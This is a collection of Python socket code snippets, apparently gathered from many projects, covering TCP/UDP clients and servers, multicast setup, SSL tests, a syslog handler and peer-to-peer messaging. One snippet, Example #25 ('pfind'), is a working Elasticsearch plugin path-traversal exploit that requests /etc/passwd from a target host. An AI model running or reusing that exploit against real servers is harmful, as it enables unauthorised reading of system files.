Example #1
1
def get_connect_time(ipaddress, port):   
  try:
    socket.setdefaulttimeout(1)
    s=socket.socket()
    start=time.time()
    s.connect((ipaddress, port))
    end=time.time()
    s.close()
  except:
    print 'Connect %s timeout' %(ipaddress)
    end='error'
    s.close()
    return '3000'
  
  try:
    socket.setdefaulttimeout(1)
    s=socket.socket()
    start=time.time()
    s.connect((ipaddress, port))
    end=time.time()
    s.close()
  except:
    print 'Connect %s timeout' %(ipaddress)
    end='error'
    s.close()
    return '3000'
    
  if end!='error':
    connect_time=end-start
	print 'found ip %s 连接时间:%s ms' %(ipaddress,str(int(connect_time*1000)))
     # print connect_time
    connect_time=int(connect_time*1000)
    return connect_time
Example #2
1
def verify_socket(interface, pub_port, ret_port):
    """
    Attempt to bind to the sockets to verify that they are available
    """

    addr_family = lookup_family(interface)
    pubsock = socket.socket(addr_family, socket.SOCK_STREAM)
    retsock = socket.socket(addr_family, socket.SOCK_STREAM)
    try:
        pubsock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        pubsock.bind((interface, int(pub_port)))
        pubsock.close()
        retsock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        retsock.bind((interface, int(ret_port)))
        retsock.close()
        result = True
    except Exception as exc:
        if exc.args:
            msg = "Unable to bind socket, error: {0}".format(str(exc))
        else:
            msg = "Unable to bind socket, this might not be a problem." " Is there another salt-master running?"
        if is_console_configured():
            log.warn(msg)
        else:
            sys.stderr.write("WARNING: {0}\n".format(msg))
        result = False
    finally:
        pubsock.close()
        retsock.close()

    return result
Example #3
1
    def connect(self, host, port, use_ssl=False, use_ipv6=False):
        # Create socket
        sock = None

        if use_ipv6:
            sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)
        else:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

        # Connect the socket
        try:
            sock.connect((host, port))
        except socket.error as e:
            raise ConnectionFailedError("Connection failed: " + str(e))

        if use_ssl:
            sock = ssl.wrap_socket(sock)

        self._socket = sock
        self._is_connected = True

        self.handle_connected()

        # Dispatch thread
        self._reader_thread = threading.Thread(target=self._thread_reader)
        self._reader_thread.start()
Example #4
1
    def __init__(self, fname, hostname=""):
        """The DataServer class is a TCP-based server that emulates the 
        behavior of the full McsServer application, by serving data from
        a file and presenting a message-based network API. 

        Parameters
        ----------

        fname    : string
            Name of an existing and valid HDF5 recording file.

        hostname : string
            IP address on which the server listens. Default is the empty
            string, meaning the server will listen on all newtork interfaces.

        Raises
        ------

        A ValueError is raised if the file does not exist or is not a valid
        recording file. 

        An OSError is raised if the server can't start listening.
        """
        super().__init__()
        # List of all connect clients (stored as dicts)
        self._clients = []

        # Listen for clients connecting to the messaging socket
        self._msg_socket = socket.socket()
        self._msg_socket.bind((hostname, _MSG_PORT))
        self._msg_socket.listen(_MAX_CONNECTIONS)
        self._msg_socket.setblocking(False)

        # Listen for clients connecting a data socket
        self._data_socket = socket.socket()
        self._data_socket.bind((hostname, _DATA_PORT))
        self._data_socket.listen(_MAX_CONNECTIONS)
        self._data_socket.setblocking(False)
        self._data_sockets = []  # List of unassociated data sockets

        # Set up multiplexing IO
        self._selector = selectors.DefaultSelector()
        self._selector.register(self._msg_socket, selectors.EVENT_READ, self._accept_client)
        self._selector.register(self._data_socket, selectors.EVENT_READ, self._accept_data_socket)

        # Create source of data
        self._data_generator = DataGenerator(fname)
        self._filename = fname

        # Init parameters
        self._client_id = 0  # Unique for each client
        self._msgid = 0  # Unique for each message
        self._server_startime = time.time()  # Start time of the server
        self._acq_time = time.time()  # Time of last data acquisition
        self._current_frame = 0  # Most recently "acquired" frame
        self._running = False  # True if recording has been started
        self._delay = (  # Time between frame acquisitions
            1 / self._data_generator.sample_rate()
        ) * self._data_generator.framesize()
        self._trigger = "photodiode"  # Method for triggering start, unused
Example #5
1
def test(fpga_ip, udp_port, test_message):
    tx_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    rx_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    rx_sock.bind(("", udp_port))
    rx_sock.settimeout(0.5)

    def receive():
        while True:
            try:
                msg = rx_sock.recv(8192)
                for byte in msg:
                    print(chr(byte), end="")
            except:
                break

    def send():
        tx_sock.sendto(bytes(test_message, "utf-8"), (fpga_ip, udp_port))

    receive_thread = threading.Thread(target=receive)
    receive_thread.start()

    send_thread = threading.Thread(target=send)
    send_thread.start()

    try:
        send_thread.join(5)
        send_thread.join(5)
    except KeyboardInterrupt:
        pass
Example #6
1
 def connect(self):
     assert self.server_hostname
     assert self.server_port
     assert self.nickname
     self.username = self.username or self.nickname
     self.realname = self.realname or self.nickname
     if self.ipv4:
         self._socket = socket.socket()
     else:
         self._socket = socket.socket(socket.AF_INET6)
     if self.bindhost:
         self._socket.bind((self.bindhost, 0))
     try:
         self._socket.connect((self.server_hostname, self.server_port))
     except Exception as e:
         raise e
     if self.ssl:
         try:
             self._socket = self.ssl_wrap(self._socket)
         except ssl.SSLError:
             self.ssl_verify = False
             if self.connect():
                 self.connected = True
             return False
     if self._socket:
         self.send_pass(self.password)
         self.send_user(self.username, self.realname)
         self.send_nick(self.nickname)
         self.connected = True
         self._socket.setblocking(False)
         return True
     return False
Example #7
0
    def __init_socket__(self):
        sssp_HOST = self.config.get(self.section, "host")
        unixsocket = False

        try:
            iport = int(self.config.get(self.section, "port"))
        except ValueError:
            unixsocket = True

        if unixsocket:
            sock = self.config.get(self.section, "port")
            if not os.path.exists(sock):
                raise Exception("unix socket %s not found" % sock)
            s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
            s.settimeout(self.config.getint(self.section, "timeout"))
            try:
                s.connect(sock)
            except socket.error:
                raise Exception("Could not reach SSSP server using unix socket %s" % sock)
        else:
            sssp_PORT = int(self.config.get(self.section, "port"))
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.settimeout(self.config.getint(self.section, "timeout"))
            try:
                s.connect((sssp_HOST, sssp_PORT))
            except socket.error:
                raise Exception("Could not reach SSSP server using network (%s, %s)" % (sssp_HOST, sssp_PORT))

        return s
Example #8
0
 def _getConnection(self):
     if type(self._connect) is str:
         sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
     else:
         sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
     sock.connect(self._connect)
     return sock
Example #9
0
    def test_server_txrx(self):
        A = socket.socket()
        A.bind(("localhost", 0))
        A.listen(1)

        B = socket.socket()
        B.bind(("localhost", 0))

        Sname = A.getsockname()
        Cname = B.getsockname()

        def server():
            C, peer = A.accept()
            self.assertEqual(peer, Cname)
            C.send(b"hello")
            C.close()

        server = cothread.Spawn(server, raise_on_wait=True)

        try:
            B.connect(Sname)
            msg = B.recv(100)
            B.close()
        except socket.error:
            # ensure we capture server exceptions...
            server.Wait(1.0)
            raise  # only get here if no server exception
        else:
            server.Wait(1.0)

        A.close()

        self.assertEqual(msg, b"hello")
Example #10
0
def notifyQuit():
    # tell first predecessor
    tcp = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    tcp.connect((host, basePort + int(pred1)))
    # send msg listing first predecessors new successors
    tcp.send("q-suc " + id + " " + succ1 + " " + succ2)
    tcp.close()

    # tell second predecessor
    tcp = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    tcp.connect((host, basePort + int(pred2)))
    # send msg listing second predecessors new successors
    tcp.send("q-suc " + id + " " + pred1 + " " + succ1)
    tcp.close()

    # update successors predecessors
    tcp = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    tcp.connect((host, basePort + int(succ1)))
    # send msg listing second predecessors new successors
    tcp.send("q-pre " + id + " " + pred1 + " " + pred2)
    tcp.close()

    tcp = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    tcp.connect((host, basePort + int(succ2)))
    # send msg listing second predecessors new successors
    tcp.send("q-pre " + id + " " + succ1 + " " + pred1)
    tcp.close()
Example #11
0
def ungraceQuit(quitter):
    global succ1
    global succ2
    global pingTrack1
    global pingTrack2
    global seqNo1
    global seqNo2
    # Successor 1 quit
    if quitter == 1:
        print "Peer " + succ1 + " is no longer alive."
        succ1 = succ2
        print "My first successor is now peer " + succ1 + "."
        tcp = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        tcp.connect((host, basePort + int(succ1)))
        tcp.send("succ-req")
        succ2 = tcp.recv(1024)
        print "My second successor is now peer " + succ2 + "."
        tcp.close()
        pingTrack1 = []
        pingTrack2 = []
        seqNo1 = 0
        seqNo2 = 0
        # Successor 2 quit
    else:
        print "Peer " + succ2 + " is no longer alive."
        print "My first successor is now peer " + succ1 + "."
        tcp = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        tcp.connect((host, basePort + int(succ1)))
        tcp.send("succ-req")
        succ2 = tcp.recv(1024)
        print "My second successor is now peer " + succ2 + "."
        tcp.close()
        pingTrack2 = []
        seqNo2 = 0
Example #12
0
    def __init__(self, treestore, addr):
        self.elements = []

        self.server = addr
        self.port = 1337

        self.treestore = treestore
        self.treerowIter = self.treestore.append(None)
        self.treePath = self.treestore.get_path(self.treerowIter)
        self.treestore[self.treerowIter][1] = addr + ":" + str(self.port)
        self.treestore.objectAssoc[str(self.treePath)] = self

        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.connect((self.server, self.port))

        self.sockUDP = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

        self.valid = True

        select.select([], [self.sock], [], 10)
        self.sock.send(str.encode("$REQUEST:JSON:\n"))

        self.recvJson()

        self.parseJson()
Example #13
0
        def test_handshake_timeout(self):
            # Issue #5103: SSL handshake must respect the socket timeout
            server = socket.socket(socket.AF_INET)
            host = "127.0.0.1"
            port = test_support.bind_port(server)
            started = threading.Event()
            finish = False

            def serve():
                server.listen(5)
                started.set()
                conns = []
                while not finish:
                    r, w, e = select.select([server], [], [], 0.1)
                    if server in r:
                        # Let the socket hang around rather than having
                        # it closed by garbage collection.
                        conns.append(server.accept()[0])

            t = threading.Thread(target=serve)
            t.start()
            started.wait()

            try:
                try:
                    c = socket.socket(socket.AF_INET)
                    c.settimeout(0.2)
                    c.connect((host, port))
                    # Will attempt handshake and time out
                    try:
                        ssl.wrap_socket(c)
                    except ssl.SSLError, e:
                        self.assertTrue("timed out" in str(e), str(e))
                    else:
                        self.fail("SSLError wasn't raised")
Example #14
0
    def test_connect(self):
        s = ssl.wrap_socket(socket.socket(socket.AF_INET), cert_reqs=ssl.CERT_NONE)
        s.connect(("svn.python.org", 443))
        c = s.getpeercert()
        if c:
            self.fail("Peer cert %s shouldn't be here!")
        s.close()

        # this should fail because we have no verification certs
        s = ssl.wrap_socket(socket.socket(socket.AF_INET), cert_reqs=ssl.CERT_REQUIRED)
        try:
            s.connect(("svn.python.org", 443))
        except ssl.SSLError:
            pass
        finally:
            s.close()

        # this should succeed because we specify the root cert
        s = ssl.wrap_socket(
            socket.socket(socket.AF_INET), cert_reqs=ssl.CERT_REQUIRED, ca_certs=SVN_PYTHON_ORG_ROOT_CERT
        )
        try:
            s.connect(("svn.python.org", 443))
        finally:
            s.close()
Example #15
0
    def promptForProperties(self):
        detectedIP = None
        try:
            testSocket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
            detectedIP = [
                (testSocket.connect(("8.8.8.8", 80)), testSocket.getsockname()[0], testSocket.close())
                for s in [socket.socket(socket.AF_INET, socket.SOCK_DGRAM)]
            ][0][1]
        except:
            installObject.logIt("No detected IP address", True)
            self.logIt(traceback.format_exc(), True)
        if detectedIP:
            installObject.ip = installObject.getPrompt("Enter IP Address", detectedIP)
        else:
            installObject.ip = installObject.getPrompt("Enter IP Address")
        detectedHostname = None
        try:
            detectedHostname = socket.gethostbyaddr(socket.gethostname())[0]
        except:
            try:
                detectedHostname = os.popen("/bin/hostname").read().strip()
            except:
                installObject.logIt("No detected hostname", True)
                self.logIt(traceback.format_exc(), True)
        if detectedHostname:
            installObject.hostname = installObject.getPrompt("Enter hostname", detectedHostname)
        else:
            installObject.hostname = installObject.getPrompt("Enter hostname")

        installObject.orgName = installObject.getPrompt("Enter Organization Name")
        installObject.city = installObject.getPrompt("Enter your city or locality")
        installObject.state = installObject.getPrompt("Enter your state or province")
        installObject.countryCode = installObject.getPrompt("Enter two-digit Country Code")
        randomPW = installObject.getPW()
        installObject.ldapPass = installObject.getPrompt("Optional: enter password for LDAP superuser", randomPW)
Example #16
0
    def __init__(self, server_address, multicast=False, starting_mid=None):

        self.stopped = threading.Event()
        self.stopped.clear()
        self.to_be_stopped = []
        self.purge = threading.Thread(target=self.purge)
        self.purge.start()

        host, port = server_address
        ret = socket.getaddrinfo(host, port)
        family, socktype, proto, canonname, sockaddr = ret[0]

        self._messageLayer = MessageLayer(starting_mid)
        self._blockLayer = BlockLayer()
        self._observeLayer = ObserveLayer()
        self._requestLayer = RequestLayer(self)
        self.resourceLayer = ResourceLayer(self)

        # Resource directory
        root = Resource("root", self, visible=False, observable=False, allow_children=True)
        root.path = "/"
        self.root = Tree()
        self.root["/"] = root
        self._serializer = None

        self.server_address = server_address
        self.multicast = multicast

        # IPv4 or IPv6
        if len(sockaddr) == 4:
            self._socket = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
            self._socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        else:
            self._socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
            self._socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

        if self.multicast:
            # Set some options to make it multicast-friendly
            try:
                self._socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEPORT, 1)
            except AttributeError:
                pass  # Some systems don't support SO_REUSEPORT
            self._socket.setsockopt(socket.SOL_IP, socket.IP_MULTICAST_TTL, 20)
            self._socket.setsockopt(socket.SOL_IP, socket.IP_MULTICAST_LOOP, 1)

            # Bind to the port
            self._socket.bind(self.server_address)

            # Set some more multicast options
            interface = socket.gethostbyname(socket.gethostname())
            self._socket.setsockopt(socket.SOL_IP, socket.IP_MULTICAST_IF, socket.inet_aton(interface))
            self._socket.setsockopt(
                socket.SOL_IP,
                socket.IP_ADD_MEMBERSHIP,
                socket.inet_aton(self.server_address) + socket.inet_aton(interface),
            )
        else:
            self._socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

            self._socket.bind(self.server_address)
Example #17
0
File: util.py Project: foxi/miro
def make_dummy_socket_pair():
    """Create a pair of sockets connected to each other on the local
    interface.  Used to implement SocketHandler.wakeup().

    On Unixish systems, port 0 will pick the next available port.
    But that appears to have problems on Windows possibly with
    firewall software.  So if we hit a socketerror with port 0, we
    try ports between 50000 and 65500.
    """
    attempts = 0
    port = 0
    family, addr = localhost_family_and_addr()
    while 1:
        attempts += 1
        try:
            dummy_server = socket.socket(family, socket.SOCK_STREAM)
            dummy_server.bind((addr, port))
            dummy_server.listen(1)
            server_address = dummy_server.getsockname()
            first = socket.socket(dummy_server.family, socket.SOCK_STREAM)
            first.connect(server_address)
            second, address = dummy_server.accept()
            dummy_server.close()
            return first, second
        except socket.error:
            # if we hit this, then it's hopeless--give up
            if port > 65500:
                sys.stderr.write(("Tried %s bind attempts and failed on " "addr %s port %d\n") % (attempts, addr, port))
                raise
            # bump us into ephemeral ports if we need to try a bunch
            if port == 0:
                port = 50000
            else:
                port += 10
Example #18
0
def detectNetworkDevices(ttl=4, timeout=10):
    mcast_addr, mcast_port = "224.0.0.251", 5353
    found_devices = {}
    answers = []

    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
        x = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        x.connect(("1.2.3.4", 56))
        intf = x.getsockname()[0]
        x.close()

        s.setblocking(0)
        ttl = struct.pack("B", ttl)
    except socket.error:
        log.error("Network error")
        return {}

    try:
        s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEPORT, 1)
    except (AttributeError, socket.error):
        pass

    try:
        s.setsockopt(socket.SOL_IP, socket.IP_MULTICAST_TTL, ttl)
        s.setsockopt(socket.SOL_IP, socket.IP_MULTICAST_IF, socket.inet_aton(intf) + socket.inet_aton("0.0.0.0"))
        s.setsockopt(socket.SOL_IP, socket.IP_MULTICAST_LOOP, 1)
    except Exception, e:
        log.error("Unable to setup multicast socket for mDNS: %s" % e)
        return {}
Example #19
0
def createSockets(preferred=("0.0.0.0", 0)):
    """Create three listening sockets (UDP, TCP, UDP-multicast) based on the preferred address tuple
    (address, port). The complication is due to different behavior of multicast socket and socket 
    bind on different platforms. For example, Windows does not allow socket bind() with multicast address.
    
    If preferred argument has any '0.0.0.0' or unicast address, then the UDP-multicast socket is not 
    allocated and is set to None in returned tuple.
    
    If preferred argument has multicast address, then the UDP-multicast socket is allocated and returned.
    The returned multicast socket is bound to ('0.0.0.0', port) where port is from preferred argument.
    
    If preferred argument has unicast address then unicast sockets are tried to be bound to that
    address, and if fails then any '0.0.0.0'. 
    
    If preferred argument has a valid port, then unicast sockets are tried to be bound to that port,
    and if fails then any port. There is an exception -- if the preferred argument also has a 
    multicast address then UDP socket is always bound to any port instead of the preferred port.
    This allows the unicast and multicast sockets to be independent of each other and bound to
    different ports.
    
    If preferred argument is not a multicast address, then the unicast sockets (UDP and TCP) are
    tried to be bound to the same ports is possible, where attempt to bind the TCP is made first.
    
    If a UDP-multicast socket is allocated, then ttl and loopback options are set to 1.
    """
    addr, port = preferred
    udp = tcp = mcast = None  # will be returned
    multicast = isMulticast(addr)
    if multicast:
        mcast = socket.socket(type=socket.SOCK_DGRAM)
        mcast.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        try:
            mcast.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEPORT, 1)
        except AttributeError:
            pass  # ignore if no REUSEPORT
        try:
            mcast.bind((addr, port))
        except socket.error, E:  # on windows we get this error (10049) when binding to multicast addr
            if E[0] == 10049:
                mcast.close()
                mcast = socket.socket(
                    type=socket.SOCK_DGRAM
                )  # we need to create a new socket otherwise it gives 10022 Invalid argument error on second bind
                mcast.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
                try:
                    mcast.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEPORT, 1)
                except AttributeError:
                    pass  # ignore if no REUSEPORT
                try:
                    mcast.bind(("0.0.0.0", port))
                except socket.error:
                    mcast.close()
                    mcast = None
                    # probably we couldn't bind to the port.
        if mcast is not None:
            mcast.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 1)  # scope to local network only
            mcast.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_LOOP, 1)
            mcast.setsockopt(
                socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, socket.inet_aton(addr) + socket.inet_aton("0.0.0.0")
            )
Example #20
0
    def __init__(self, server, starting_mid, callback):
        self._currentMID = starting_mid
        self._server = server
        self._callback = callback
        self.stopped = threading.Event()

        self._messageLayer = MessageLayer(self._currentMID)
        self._blockLayer = BlockLayer()
        self._observeLayer = ObserveLayer()
        self._requestLayer = RequestLayer(self)

        # try:
        #     # legal
        #     socket.inet_aton(server[0])
        # except socket.error:
        #     # Not legal
        #     data = socket.getaddrinfo(server[0], server[1])
        #     self._server = (data[0], data[1])

        host, port = self._server
        ret = socket.getaddrinfo(host, port)
        family, socktype, proto, canonname, sockaddr = ret[0]

        if len(sockaddr) == 4:
            self._socket = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
            self._socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        else:
            self._socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
            self._socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

        # self._socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        self._receiver_thread = threading.Thread(target=self.receive_datagram)
        self._receiver_thread.start()
Example #21
0
 def __init__(self, type=ETH_P_ALL, filter=None, promisc=None, iface=None, nofilter=0):
     self.type = type
     self.ins = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(type))
     self.ins.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 0)
     if iface:
         self.ins.bind((iface, type))
     if not nofilter:
         if conf.except_filter:
             if filter:
                 filter = "(%s) and not (%s)" % (filter, conf.except_filter)
             else:
                 filter = "not (%s)" % conf.except_filter
         if filter is not None:
             attach_filter(self.ins, filter)
     _flush_fd(self.ins)
     self.ins.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 2 ** 30)
     self.outs = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(type))
     self.outs.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, 2 ** 30)
     if promisc is None:
         promisc = conf.promisc
     self.promisc = promisc
     if self.promisc:
         if iface is None:
             self.iff = get_if_list()
         else:
             if iface.__class__ is list:
                 self.iff = iface
             else:
                 self.iff = [iface]
         for i in self.iff:
             set_promisc(self.ins, i)
Example #22
0
def receive_data(settings, role):
    """Receive data from the other node"""

    # Setup kodo encoder_factory and decoder
    decoder_factory = kodo.FullVectorDecoderFactoryBinary(
        max_symbols=settings["symbols"], max_symbol_size=settings["symbol_size"]
    )

    decoder = decoder_factory.build()

    send_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

    # Set receiving sockets
    data_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    data_socket.settimeout(settings["timeout"])
    data_socket.bind(("", settings["data_port"]))

    if role == "client":
        address = (settings["server_ip"], settings["server_control_port"])
        send_settings(settings)
    else:  # server
        address = (settings["client_ip"], settings["client_control_port"])
        send(send_socket, "settings OK, receiving", address)

    # Decode coded packets
    received = 0
    start = time.time()
    end = None
    while 1:
        try:
            packet = data_socket.recv(settings["symbol_size"] + 100)

            if not decoder.is_complete():
                decoder.read_payload(packet)
                received += 1

            if decoder.is_complete():
                if end is None:
                    end = time.time()  # stopping time once
                send(send_socket, "Stop sending", address)

        except socket.timeout:
            break  # no more data arriving

    # in case we did not complete
    if end is None:
        end = time.time()

    data_socket.close()

    if not decoder.is_complete():
        print("Decoding failed")

    size = decoder.block_size() * (float(received) / settings["symbols"])
    seconds = end - start
    print(
        "Received {0} packets, {1}kB, in {2}s, at {3:.2f} kb/s.".format(
            received, size / 1000, seconds, decoder.block_size() * 8 / 1000 / seconds
        )
    )
Example #23
0
    def __init__(self, address=("localhost", SYSLOG_UDP_PORT), facility=LOG_USER):
        """
        Initialize a handler.

        If address is specified as a string, UNIX socket is used.
        If facility is not specified, LOG_USER is used.
        """
        logging.Handler.__init__(self)

        self.address = address
        self.facility = facility
        if type(address) == types.StringType:
            self.socket = socket.socket(socket.AF_UNIX, socket.SOCK_DGRAM)
            # syslog may require either DGRAM or STREAM sockets
            try:
                self.socket.connect(address)
            except socket.error:
                self.socket.close()
                self.socket = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
            self.socket.connect(address)
            self.unixsocket = 1
        else:
            self.socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
            self.unixsocket = 0

        self.formatter = None
Example #24
0
def send_settings(settings):
    """
    Send settings to server, block until confirmation received that settings
    was correctly received
    """

    control_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    control_socket.settimeout(settings["timeout"])
    control_socket.bind(("", settings["client_control_port"]))

    send_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    send_address = (settings["server_ip"], settings["settings_port"])

    message = json.dumps(settings)
    ack = None
    address = ""
    while ack is None:
        # Send settings
        send(send_socket, message, send_address)
        # Waiting for respons
        try:
            ack, address = receive(control_socket, 1024)  # Server ack
        except socket.timeout:
            print("Timeout - server not responding to settings.")

    control_socket.close()
Example #25
0
def pfind(host):
    PluginList = ["head", "test", "kopf", "HQ", "marvel", "bigdesk"]
    port = 9200
    fpath = "/etc/passwd"
    socket.setdefaulttimeout(1000)
    s = socket.socket()
    s.connect((host, port))
    try:
        for plugin in PluginList:
            s.send("GET /_plugin/%s/ HTTP/1.0\n" "Host: %s\n\n" % (plugin, host))
            file = s.recv(16)
            print file
            print "[*] Trying to find plugin %s:" % plugin
            if "HTTP/1.0 200 OK" in file:
                print "[*] plugin found!"
                socket.setdefaulttimeout(1000)
                s = socket.socket()
                s.connect((host, port))
                s.connect((host, port))
                s.send(
                    "GET /_plugin/%s/../../../../../../../../..%s HTTP/1.0\n" "Host: %s \n\n" % (plugin, fpath, host)
                )
                file = s.recv(2048)
                print plugin, fpath, host
                print "[*] Trying to retrieve %s" % fpath
                if "HTTP/1.0 200 OK" in file:
                    print "\n%s" % file
                else:
                    print "[-]File Not Found,No Access Rights or System Not Vulnerable"
                break
            else:
                print "[-] Not found!"
    except Exception, e:
        print "[-] Error connecting to %s:%s" % (host, e)
        sys.exit()
Example #26
0
def pick_random_port():
    """Bind to an ephemeral port, force it into the TIME_WAIT state, and
    unbind it.

    This means that further ephemeral port alloctions won't pick this
    "reserved" port, but subprocesses can still bind to it explicitly, given
    that they use SO_REUSEADDR.

    By default on linux you have a grace period of 60 seconds to reuse this
    port.

    To check your own particular value:
    $ cat /proc/sys/net/ipv4/tcp_fin_timeout
    60
    """
    s = socket.socket()
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    s.bind(("127.0.0.1", 0))
    s.listen(0)

    sockname = s.getsockname()

    # these three are necessary just to get the port into a TIME_WAIT state
    s2 = socket.socket()
    s2.connect(sockname)
    s.accept()

    return sockname[1]
Example #27
0
    def get_request_socket(self, env):
        if not self.ca:
            return None

        sock = None

        if env.get("uwsgi.version"):  # pragma: no cover
            try:
                import uwsgi

                fd = uwsgi.connection_fd()
                conn = socket.fromfd(fd, socket.AF_INET, socket.SOCK_STREAM)
                sock = socket.socket(_sock=conn)
            except Exception:
                pass
        elif env.get("gunicorn.socket"):  # pragma: no cover
            sock = env["gunicorn.socket"]

        if not sock:
            # attempt to find socket from wsgi.input
            input_ = env.get("wsgi.input")
            if input_ and hasattr(input_, "_sock"):
                sock = socket.socket(_sock=input_._sock)

        return sock
Example #28
0
    def testDefaultTimeout(self):
        # Testing default timeout
        # The default timeout should initially be None
        self.assertEqual(socket.getdefaulttimeout(), None)
        s = socket.socket()
        self.assertEqual(s.gettimeout(), None)
        s.close()

        # Set the default timeout to 10, and see if it propagates
        socket.setdefaulttimeout(10)
        self.assertEqual(socket.getdefaulttimeout(), 10)
        s = socket.socket()
        self.assertEqual(s.gettimeout(), 10)
        s.close()

        # Reset the default timeout to None, and see if it propagates
        socket.setdefaulttimeout(None)
        self.assertEqual(socket.getdefaulttimeout(), None)
        s = socket.socket()
        self.assertEqual(s.gettimeout(), None)
        s.close()

        # Check that setting it to an invalid value raises ValueError
        self.assertRaises(ValueError, socket.setdefaulttimeout, -1)

        # Check that setting it to an invalid type raises TypeError
        self.assertRaises(TypeError, socket.setdefaulttimeout, "spam")
Example #29
0
def getip():
    # finds external-facing interface without sending any packets (Linux)
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        s.connect(("1.0.0.1", 0))
        ip = s.getsockname()[0]
        return ip
    except:
        pass

    # Generic method, sometimes gives useless results
    try:
        dumbip = socket.gethostbyaddr(socket.gethostname())[2][0]
        if not dumbip.startswith("127.") and ":" not in dumbip:
            return dumbip
    except socket.gaierror:
        dumbip = "127.0.0.1"

    # works elsewhere, but actually sends a packet
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        s.connect(("1.0.0.1", 1))
        ip = s.getsockname()[0]
        return ip
    except:
        pass

    return dumbip
Example #30
0
def create_listen_socket():
    if socket.has_ipv6:
        listen_sock = socket.socket(socket.AF_INET6)
    else:
        listen_sock = socket.socket(socket.AF_INET)
    listen_sock.listen(100)
    return listen_sock